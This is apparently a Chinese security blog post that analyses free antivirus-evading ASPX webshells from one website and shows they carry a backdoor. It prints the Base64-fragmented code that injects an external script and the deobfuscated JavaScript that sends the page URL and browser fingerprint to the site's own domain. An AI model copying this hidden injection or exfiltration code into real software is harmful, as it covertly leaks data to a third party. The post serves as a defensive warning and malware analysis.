字数 2255,阅读大约需 12 分钟
【独家】后门预警!某免杀WebShell存在后门
起因
冲浪的时候发现有个官方认证的号在宣传一个免杀webshell的网站,看到日期2025年04月,好家伙,那么新,难道有人定期维护的么?
这不是妥妥的好东西么?
当时我的状态肯定立马一键三连,让粉丝关注公众号回复暗号,才能获取到这个牛B的Plus网站,简直妥妥涨粉秘籍好吧!
不过转念一想,本公众号粉丝群体不是什么软柿子,都是一群对东西得刨根问,选个女朋友都要知根知底的老油条。
太敷衍的话,说不定掉粉,所以我还是对这个网站的webshell进行了一番分析。
本意想着研究下它的免杀技术,准备宣传一波,骗粉丝关注的,但是事情似乎没有那么简单,原来免费的东西背后都有不为人知的"代价"!
你我皆是“Play”的一环罢了,小丑。
免杀效果
随便选一个幸运儿webshell,打开一看到界面,感觉梦回2010-2017年的脚本小子盛行的年代,webshell大小马,心里升起一段小疑问,这玩意真能免杀么?
为了解答心中疑惑,下载其中几个webshell,打包到zip,丢到河马webshell在线查杀平台,这个查杀引擎估计年久失修了,所以没检查出来。
这么简单的shell都检测不出来么,不甘心,继续本地下载几个webshell文件到本地用D盾看看,发现一落地大部分都被火绒杀了,但其中存在一个漏网之鱼,更新日期比较新的 WolF ASPX SheLL - YEE7 Tea 没有被杀,丢进D盾Check下发现风险级别也是较低的,看起来似乎免杀效果还算可以。
回到概念探讨上来,免杀这个技术重点不是技巧多NB,而是能不能做到有人去长期维护升级。
之前听到什么"大粉哥永久免杀"之类的传言要么偷换概念,要么自取其辱,要么病毒开发者是"毒二代",家里是AV世家,打小就给你加进白名单。
回到正题,综上所述,这些Webshell确实在免杀方面有一定的效果,这是不可否认的!
真相浮出水面
接着,我们就要分析一下这个免杀的原理,好家伙,给我发现新大陆。
下载 https://webshell9[.]com/cmd-aspx-shell 一个简单的cmd shell进行分析。
老实说,看第一眼的时候只是觉得有点可疑,整体上觉得没很大问题问题,毕竟第一时间怀疑后门的话会更多去关注是不是留一些后端的代码比如逻辑后门(以前那个年代挺流行的),但是继续认真跟踪分析看下,越发觉得这段代码特别奇怪。
因为感觉很多余,根本没用,事出反常必有妖 !
好了,下一步,怎么做呢? 直接丢进AI进行分析
PS.之前公众号出过教程免费领取的Gemini,百万Token,让你迅速成为人上人
好家伙,果然是存在后门的!
AI分析给出的结果:混淆注入外部 JavaScript
- •
voidiv44
、methodcallxg55
、contextkj82
和expressiontreeat78
这几个方法协同工作,从一个可疑的外部域注入一个 JavaScript 文件。 - •
voidiv44()
: 此函数在一个字典中存储了 Base64 编码字符串的片段:
- •
result[0] = @"PHNjcmlwdC";
(解码为:<script
) - •
result[1] = @"BzcmM9I";
(解码为:src="
) - •
result[2] = @"mh0dHBzOi8vd2Vi";
(解码为:https://web
) - •
result[3] = @"c2hlbGw5L";
(解码为:shell9.
) - •
result[4] = @"mNvbS9mcC5t";
(解码为:com/fp.m
) - •
result[5] = @"aW4uan";
(解码为:in.j
) - •
result[6] = @"MiPjwvc2Ny";
(解码为:s"></scr
) - •
result[7] = @"aXB0Pg==";
(解码为:ipt>
) - •
methodcallxg55()
: 此函数检索这些片段并按顺序将它们连接起来,形成一个单一的 Base64 编码字符串:PHNjcmlwdCBzcmM9Imh0dHBzOi8vd2Vic2hlbGw5LmNvbS9mcC5taW4uanMiPjwvc2NyaXB0Pg==
- •
contextkj82()
: 此函数接收合并后的 Base64 字符串,将其解码,并将结果直接写入 HTTP 响应中。
- • 解码后的字符串是:
<script src="https://webshell9[.]com/fp.min.js"></script>
- •
expressiontreeat78()
: 此函数在执行命令后从Page_Load
中调用。它负责获取编码字符串,然后解码并将其写入页面。
继续下载fp.min.js进行分析看看,这段JS做了混淆,很大,可以塞爆gpt4肢解罢工, 但是Gemini百万Token,小活不在话下!
接下来问题就变得简单,我也放心了,不是后门的webshell,我觉得用起来没意思!
这个脚本带来的直接后果也很简单:
只要你使用了这个webshell,那么你的webshell地址自然就会泄漏,你的马子就变成万人骑了,到时候不是你删的库,你觉得你跑得掉么?
后面陆续检查其他几款木马,发现都有加载这段表面伪装成指纹收集实际具备后门功能的恶意JS,似乎每个人下载的JS文件名字可能都不太一样。
// 当页面的主要HTML文档被完全加载和解析完成之后,会触发 DOMContentLoaded 事件window.addEventListener('DOMContentLoaded', function() { // _0xe9299(0x7a) 解析为 'DOMContentLoaded' // 检查 FingerprintJS 对象是否存在 (即库是否已加载) // _0xe9299(0x75) 解析为 'undefined' if (typeof FingerprintJS !== 'undefined') { // 加载 FingerprintJS 并获取指纹信息 // _0xe9299(0x76) 解析为 'load' // _0xe9299(0x8f) 解析为 'then' (Promise 的方法) // _0xe9299(0x92) 解析为 'get' (FingerprintJS Agent 的方法) FingerprintJS.load() .then(function(fpAgent) { return fpAgent.get(); }) .then(function(components) { // 从 FingerprintJS 的结果中获取关键信息 var visitorId = components.visitorId; // 指纹ID var userAgent = navigator.userAgent; // _0x2a06(0x80) 解析为 'userAgent' var language = navigator.language || navigator.userLanguage; // 浏览器语言 var platform = navigator.platform; // _0x2a06(0x73) 解析为 'platform' (操作系统平台) var screenResolution = screen.width + 'x' + screen.height; // _0x2a06(0x8a) 解析为 'height' (屏幕宽高) // _0x2a06(0x87) 解析为 'DateTimeFormat' // _0x2a06(0x88) 解析为 'resolvedOptions' // _0x2a06(0x79) 解析为 'timeZone' var timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone; // 时区 // 使用 XMLHttpRequest 将收集到的信息发送到服务器 (function() { var xhr = new XMLHttpRequest(); var pageUrl = window.location.href; // _0x409019(0x6c) -> 'location', _0x409019(0x78) -> 'href' (当前页面URL) // _0x409019(0x81) 解析为 'open' // _0x409019(0x8c) 解析为 'https://webshell9.com/fp.min.js' (目标URL) xhr.open('POST', 'https://webshell9.com/fp.min.js', true); // 设置请求头 // _0x409019(0x6f) 解析为 'Content-Type' // _0x409019(0x77) 解析为 'application/x-www-form-urlencoded' xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); // _0x409019(0x8d) 解析为 'setRequestHeader' // _0x409019(0x7e) 解析为 'X-Page-Url' xhr.setRequestHeader('X-Page-Url', encodeURIComponent(pageUrl)); // _0x409019(0x6d) 解析为 'X-Fingerprint-ID' xhr.setRequestHeader('X-Fingerprint-ID', visitorId); // _0x409019(0x8e) 解析为 'X-User-Agent' xhr.setRequestHeader('X-User-Agent', userAgent); // _0x409019(0x93) 解析为 'X-Language' xhr.setRequestHeader('X-Language', language); xhr.setRequestHeader('X-Platform', platform); // 'X-Platform' (硬编码或直接使用) // _0x409019(0x7c) 解析为 'X-Screen' xhr.setRequestHeader('X-Screen', screenResolution); xhr.setRequestHeader('X-Timezone', timeZone); // 'X-Timezone' (硬编码或直接使用) // 构造 POST 请求体数据 // 注意:这里的参数分隔符是通过 _0x409019(...) 函数调用得到的,有些不是标准的 '&' 符号, // 这使得请求体看起来有些奇怪,服务器端需要特定的解析逻辑。 var postData = 'A=' + encodeURIComponent(pageUrl) + (_0xe9299(0x71)) + encodeURIComponent(userAgent) + // _0xe9299(0x71) 解析为 'X-Screen' (_0xe9299(0x94)) + encodeURIComponent(visitorId) + // _0xe9299(0x94) 解析为 'undefined' (_0xe9299(0x89)) + encodeURIComponent(userAgent) + // _0xe9299(0x89) 解析为 '&C=' (_0xe9299(0x8b)) + encodeURIComponent(language) + // _0xe9299(0x8b) 解析为 'location' (_0xe9299(0x86)) + encodeURIComponent(platform) + // _0xe9299(0x86) 解析为 '4498635hiklSi' (一个数字字符串) '&G=' + encodeURIComponent(screenResolution) + '&H=' + encodeURIComponent(timeZone); // _0x409019(0x85) 解析为 'send' xhr.send(postData); })(); }); }}, true); // true 表示事件监听器在捕获阶段执行
不过有趣的是,这段恶意脚本并不会读取或者存储Cookie信息,有些大聪明就会觉得,那我给webshell改密码可以么?觉得这样就安全了?
大哥,这是去加载一段第三方的JS文件,后门管理员完全可以修改加载的JS内容,等时机成熟,批量收割不就更加爽YY了么?
后续调查
这个站点基本都是5月15-16前后X上一些号发这个内容,司马昭之心其实挺明显的!
google 关于这个站的讨论内容也并不多,可以说后门作者运气也不好吧,后门网站还在摇篮阶段,被我刷到了,然后我又是一个不安分的黑客博主,很抱歉!
真的不好意思,打断后门作者用心设计网站并且为用户贴心准备多国语言的良苦用心,甚至其中TaiWan都搞个繁体的,是不是觉得china的脚本小子多,给特殊待遇呢?
寄语
免费的东西有时候是最贵的!
特别是涉及到免杀的一些现成品,关注公众号且熟悉我的小伙伴都知道,我一直都很担心软件后门,也分享过一些非常简单实用的技巧和工具帮助大家去判断一个东西是否存在后门。
但是,根据以往从业那么多年的经验,黑客群体真的很骚,后门只能说真的防不胜防,我们能做或许是去保持不断学习从而提高作恶者的对抗成本,这种方式有时候可能不是最优解,但是可能是现行解!
原文始发于微信公众号(一个不正经的黑客):【独家】后门预警!某免杀WebShell存在后门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论